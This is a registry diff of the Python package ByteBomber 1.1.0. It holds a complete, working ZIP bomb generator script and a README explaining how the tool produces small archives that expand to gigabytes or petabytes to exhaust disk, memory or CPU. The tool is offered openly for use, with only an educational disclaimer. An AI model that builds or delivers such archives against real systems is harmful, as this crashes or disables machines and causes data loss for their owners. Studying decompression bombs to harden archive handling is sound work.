ByteBomber 1.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
ByteBomber/__init__.py ADDED
File without changes
ByteBomber/__main__.py ADDED
@@ -0,0 +1,61 @@
1
+ import zipfile
2
+ import os
3
+ import sys
4
+
5
+ UNITS = {
6
+ "B": 1,
7
+ "KB": 1 << 10,
8
+ "MB": 1 << 20,
9
+ "GB": 1 << 30,
10
+ "TB": 1 << 40,
11
+ "PB": 1 << 50,
12
+ "EB": 1 << 60,
13
+ "ZB": 1 << 70,
14
+ "YB": 1 << 80,
15
+ }
16
+
17
+ def progress_bar(iteration, total, bar_length=50):
18
+ progress = (iteration / total)
19
+ percentage = int(progress * 100)
20
+ arrow = '#' * int(round(progress * bar_length))
21
+ spaces = ' ' * (bar_length - len(arrow))
22
+ sys.stdout.write(f"\r[{arrow}{spaces}] {percentage}%")
23
+ sys.stdout.flush()
24
+
25
+ def get_bytes(amount_str):
26
+ try:
27
+ value, unit = amount_str.strip().upper().split()
28
+ return int(float(value) * UNITS[unit])
29
+ except:
30
+ raise ValueError("Format: <number> <unit>, e.g., 1 PB or 500 GB")
31
+
32
+ def main():
33
+ target_input = input("Bomb decompressed size: ") or "500 GB"
34
+ payload_input = input("Payload file size: ") or "1 MB"
35
+ zip_name = input("Output zip name: ") or "bomb.zip"
36
+ folder_name = input("Bomb directory name: ") or "bomb-dir"
37
+
38
+ PAYLOAD_NAME = "payload.txt"
39
+ DECOMPRESSED_TOTAL = get_bytes(target_input)
40
+ PAYLOAD_SIZE = get_bytes(payload_input)
41
+ REPEATS = DECOMPRESSED_TOTAL // PAYLOAD_SIZE
42
+ print(f"\n Creating ZIP bomb:\n")
43
+ print(f" Payload size: {PAYLOAD_SIZE} bytes")
44
+ print(f" Total uncompressed: {DECOMPRESSED_TOTAL} bytes")
45
+ print(f" File count: {REPEATS}")
46
+ print(f" Output: {zip_name}\n")
47
+
48
+ with open(PAYLOAD_NAME, "wb") as f:
49
+ f.write(b'\0' * PAYLOAD_SIZE)
50
+
51
+ with zipfile.ZipFile(zip_name, "w", compression=zipfile.ZIP_DEFLATED) as zf:
52
+ for i in range(REPEATS):
53
+ arcname = f"{folder_name}/{i}.txt"
54
+ zf.write(PAYLOAD_NAME, arcname)
55
+ progress_bar(i + 1, REPEATS)
56
+
57
+ os.remove(PAYLOAD_NAME)
58
+ print(f"\n\nCreated zip bomb: {zip_name}")
59
+
60
+ if __name__ == "__main__":
61
+ main()
@@ -0,0 +1,104 @@
1
+ Metadata-Version: 2.4
2
+ Name: ByteBomber
3
+ Version: 1.1.0
4
+ Summary: ZIP bomb generator
5
+ Author-email: Andrew <drewhinckley2009@example.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/luckalgorithm/ByteBomber
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Classifier: Topic :: Security
12
+ Classifier: Topic :: Utilities
13
+ Requires-Python: >=3.6
14
+ Description-Content-Type: text/markdown
15
+ License-File: LICENSE
16
+ Dynamic: license-file
17
+
18
+ # ByteBomber
19
+
20
+ ByteBomber is a tool for createing a ZIP bombs. A ZIP bomb is a highly compressed ZIP file that massively expands in size when extracted. ByteBomber is designed to demonstrate how compression algorithms (specifically ZIP's DEFLATE) can be used to exhaust system resources (disk space, RAM, or CPU), potentially crashing systems or causing instability.
21
+
22
+ ## What ByteBomber Does
23
+
24
+ 1. Takes input for how big the uncompressed bomb should be.
25
+ 2. Takes input for how large each individual payload file should be.
26
+ 3. Generates a file filled with null bytes (`\x00`) of that size.
27
+ 4. Creates a ZIP archive containing that file duplicated many times.
28
+ 5. Applies DEFLATE compression to exploit redundancy.
29
+
30
+ Since every payload file is identical and filled with zeroes, compression is extremely effective—producing a small ZIP file that expands drastically when extracted.
31
+
32
+ ## CLI
33
+
34
+ When you run the script, you'll be prompted for the following:
35
+
36
+ `Bomb decompressed size:`
37
+
38
+ - This is the total uncompressed size you want the final ZIP bomb to expand to.
39
+ - Default is 500 GB.
40
+
41
+ `Payload file size:`
42
+
43
+ - Size of the individual file inside the ZIP archive.
44
+ - The smaller this is, the more files the ZIP bomb will contain.
45
+ - Default is 1 MB.
46
+
47
+ `Output zip name:`
48
+
49
+ - Name of the final ZIP file to be created.
50
+ - Default is `bomb.zip`.
51
+
52
+ `Bomb directory name:`
53
+
54
+ - Directory where files are extracted when the bomb is decompressed.
55
+ - Default is `bomb-dir`.
56
+
57
+ Use the format `<number> <unit>` when entering values (e.g., `500 GB`, `1 TB`).
58
+
59
+ | Supported Unit | Size | Size In Bytes |
60
+ |----------------|----------|----------------
61
+ | B (byte) | 1 B | 1
62
+ | KB (Kilobyte) | 1,024 B | 1,024
63
+ | MB (Megabyte) | 1,024 KB | 1,048,576
64
+ | GB (Gigabyte) | 1,024 MB | 1,073,741,824
65
+ | TB (Terabyte) | 1,024 GB | 1,099,511,627,776
66
+ | PB (Petabyte) | 1,024 TB | 1,125,899,906,842,624
67
+ | EB (Exabyte) | 1,024 PB | 1,152,921,504,606,846,976
68
+ | ZB (Zettabyte) | 1,024 EB | 1,180,591,620,717,411,303,424
69
+ | YB (Yottabyte) | 1,024 ZB | 1,208,925,819,614,629,174,706,176
70
+
71
+ > [!NOTE]
72
+ > For most purposes, GB or TB ranges are more than sufficient to stress a system. PB, EB, ZB, and YB represent astronomical data sizes far beyond what typical systems can handle.
73
+
74
+ Once input is provided, a summary of the configuration is shown:
75
+
76
+ ```
77
+ Creating ZIP bomb:
78
+
79
+ Payload size: 1048576 bytes
80
+ Total uncompressed: 536870912000 bytes
81
+ File count: 512000
82
+ Output: bomb.zip
83
+ ```
84
+
85
+ - Payload size: Size of the file being copied inside the ZIP.
86
+ - Total uncompressed: Target final size when the ZIP is extracted.
87
+ - File count: How many copies of the payload file are added.
88
+ - Output: Filename of the ZIP bomb.
89
+
90
+ It will then show live progress as files are added to the ZIP.
91
+
92
+ ## What's in the ZIP
93
+
94
+ Inside the ZIP there are tens of thousands to millions of identical files like:
95
+
96
+ - 0.txt
97
+ - 1.txt
98
+ - 2.txt
99
+ - ...
100
+
101
+ All filled with null bytes. The compression algorithm detects repetition and compresses it heavily.
102
+
103
+ > [!WARNING]
104
+ > **ByteBomber is for educational purposes only. Do not deploy ZIP bombs on systems you do not own or have permission to test. Misuse can result in data loss or system damage.**
@@ -0,0 +1,8 @@
1
+ ByteBomber/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
+ ByteBomber/__main__.py,sha256=tgsTZMMRAXE4lu17CIbLXBPT1Z2UwodqdHXz6vBVSzg,1947
3
+ bytebomber-1.1.0.dist-info/licenses/LICENSE,sha256=D19NENd0v-XNzdKjvdphMBIdnY-aUcaok4q32x2G-jY,1070
4
+ bytebomber-1.1.0.dist-info/METADATA,sha256=NVaIpxTNp1G9JbNHr-FXKG_-oPRs6CySinlRjgR4x1M,3718
5
+ bytebomber-1.1.0.dist-info/WHEEL,sha256=pxyMxgL8-pra_rKaQ4drOZAegBVuX-G_4nRHjjgWbmo,91
6
+ bytebomber-1.1.0.dist-info/entry_points.txt,sha256=ujmBvN_aEG4BSrmzKlpsC9XNNB7goQ9m_ddUvKM9vnY,56
7
+ bytebomber-1.1.0.dist-info/top_level.txt,sha256=ywMNPoOP7MAkBd6arls5lyegONphfyki7xlLh90_ytI,11
8
+ bytebomber-1.1.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (79.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ bytebomber = bytebomber.__main__:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 luckalgorithm
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ ByteBomber